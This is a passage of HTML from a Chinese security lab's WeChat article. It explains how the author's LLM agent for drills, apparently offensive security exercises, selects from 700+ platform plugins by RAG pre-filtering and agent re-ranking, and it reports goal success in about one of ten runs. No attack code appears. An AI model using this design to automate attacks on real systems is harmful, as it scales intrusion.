Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031698" alt="image.png" class="rich_pages wxw-img" data-ratio="0.32421340629274964" data-type="png" data-w="2924" style="box-sizing: border-box;vertical-align: middle;border: 0px;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=3b1d4d51&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzOEMKibt7zA1oRAujQ0bXjmC72uNhOuAibgNAaYO6RUgS2hxsnhBDdbQA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031699" alt="image.png" class="rich_pages wxw-img" data-ratio="0.9343544857768052" data-type="png" data-w="1828" style="box-sizing: border-box;vertical-align: middle;border: 0px;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=a7b6f2c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdz6JfpbM0mOyJBuGkPfibQoH8piaic7MZ4mW38sT9Vk7tSn5TLHc5ehTeAA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031696" alt="image.png" class="rich_pages wxw-img" data-ratio="0.2676659528907923" data-type="png" data-w="2802" style="box-sizing: border-box;vertical-align: middle;border: 0px;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=9bf7d71d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzN9bsPJDLsUibpj5tPRAe9EzbCFUtdSre5nics8GXtoHEPehulCYicfT1A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">要支持这个功能我只需要在prompt中这样简单添加即可</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031700" alt="image.png" class="rich_pages wxw-img" data-ratio="0.11469534050179211" data-type="png" data-w="1674" style="box-sizing: border-box;vertical-align: middle;border: 0px;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=ba645904&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzhswyIj69UF5GabszyNB5JaVgrlDhGIjGvtheSXO8TdZetibeoIuZdhg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.43;font-size: 1.5em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">6.7 海量插件调用</span></h3><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在实际构建过程中其实还有一个问题，工具数量过多，从而极大的占据了上下文有限的空间，因为光锥平台上一共有700+插件，我试着将所有的插件都塞到prompt中，但是带来的结果是灾难性的，问答时间大大加长了不谈，筛选出来的效果也非常差，随着上下文的增长模型的能力会骤然下降</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">当超过一个上下文的阈值的时候模型读到的不再是全文，而是支离破碎的token，因为传统Attention的成本非常高，所以像deepseekv3的论文中提到的稀疏注意力机制就是用到了一个indexer将2000个左右的相关token纳入上下文，从而降低了计算复杂度</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031701" alt="image.png" class="rich_pages wxw-img" data-ratio="0.6887661141804788" data-type="png" data-w="1086" style="box-sizing: border-box;vertical-align: middle;border: 0px;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=079cf96b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzSibibl6HdQGDMx5nDMtZphYffaUN7sJJLE0m7ibPwMIAWu396SNdAyHzA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">所以这也就为什么claude会通过toolsearchtool的方式来进行压缩处理，针对我这类场景我通过两个方式来缓解，并且目前的效果比较不错：RAG初筛+Agent精筛</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我会直接将Agent返回的描述，进行传入，先通过RAG来进行匹配，为了提升RAG效果我们的插件文档也需要提供更多的信息，经过测试图2的效果明显优于图1，其实就是我们要在向量化搜索的时候增加到匹配的可能性，甚至可以增加一些关键词来加大索引到的几率，然后将返回的top10-20个插件基于Agent和权重数据库来进行排序选择后缩小范围，动态注册到prompt中，这样既能减少插件被错选的可能性，同时也可以极大程度的减少对上下文长度的影响</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">原始插件描述：</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031703" alt="img" class="rich_pages wxw-img" data-ratio="0.31952662721893493" data-type="png" data-w="1690" style="box-sizing: border-box;vertical-align: middle;border: 0px;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=ca2471b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzqFZxUKpbe0JjibeQ9zLm9F4zkZmJNa4hE1p6I5ldE9m3NzkzLzLsNibw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">扩写后的插件描述</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031702" alt="image.png" class="rich_pages wxw-img" data-ratio="0.4267211997273347" data-type="png" data-w="2934" style="box-sizing: border-box;vertical-align: middle;border: 0px;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=d4bf64ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzjydwPawiahHibyCXkNicjIVMd1KEgOVgYic01DyVns9QofcnwmkO934Mxg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.225;font-size: 1.75em;padding-bottom: 0.3em;border-bottom: 1px solid rgb(238, 238, 238);color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">7. 落地效果</span></h2><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在意图工程的加入下，能够实现近10次演练中，至少完成1次目标达成</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">录制了一个视频但是因为是对内的所以这边就不放了哈</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">测试集执行-&gt;利用LLM发现额外路线（不稳定）-&gt;基于意图的一定频次下稳定达成</span></p><h2 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.225;font-size: 1.75em;padding-bottom: 0.3em;border-bottom: 1px solid rgb(238, 238, 238);color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">8. 参考链接</span></h2><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><a class="normal_text_link" target="_blank" style="box-sizing: border-box;color: rgb(65, 131, 196);text-decoration: none;background: 0px 0px;" href="https://mp.weixin.qq.com/s?__biz=MzAxOTU5NTU4MQ==&amp;mid=2247496603&amp;idx=1&amp;sn=63a9693daf3fbe3da52a32652e6df5a8&amp;scene=21#wechat_redirect" textvalue="" linktype="text" data-linktype="2"><a href="https://mp.weixin.qq.com/s/T5UgWtoxGy9B4qZ_uY-tGg" target="_blank">https://mp.weixin.qq.com/s/T5UgWtoxGy9B4qZ_uY-tGg</a></a></span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><a class="normal_text_link" target="_blank" style="box-sizing: border-box;color: rgb(65, 131, 196);text-decoration: none;background: 0px 0px;" href="https://mp.weixin.qq.com/s?__biz=MzkxNjcyNTk2NA==&amp;mid=2247488911&amp;idx=1&amp;sn=6d78633e284b688de49ef8447d05f64b&amp;scene=21#wechat_redirect" textvalue="" linktype="text" data-linktype="2"><a href="https://mp.weixin.qq.com/s/Yvk1iPehw4DzVR69XGc_aQ" target="_blank">https://mp.weixin.qq.com/s/Yvk1iPehw4DzVR69XGc_aQ</a></a></span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><a href="https://www.anthropic.com/engineering/effective-context-engineering-for-ai-agents" target="_blank">https://www.anthropic.com/engineering/effective-context-engineering-for-ai-agents</a></span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><a href="https://www.anthropic.com/engineering/advanced-tool-use" target="_blank">https://www.anthropic.com/engineering/advanced-tool-use</a></span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 0px !important;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><a href="https://www.kaggle.com/whitepaper-introduction-to-agents" target="_blank">https://www.kaggle.com/whitepaper-introduction-to-agents</a></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="白帽100安全攻防实验室" data-alias="whitecap100_team" data-from="0" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/aFJv52grsibtyuHs5s5D92P4R4dMMKLFKKxoJxSZib8LicZ0rbPGiaOOQTK84h7N93JRkpQAKOcHkmMrS22RO2QkMw/0?wx_fmt=png" data-signature="分享技术文章，做点我们能做的事   官网：www.whitecap100.org  DC0571：defcon.whitecap100.org   白帽100团队" data-id="MzIxMDYyNTk3Nw==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100002088" data-ratio="0.28828125" data-s="300,640" type="block" data-type="png" data-w="1280" 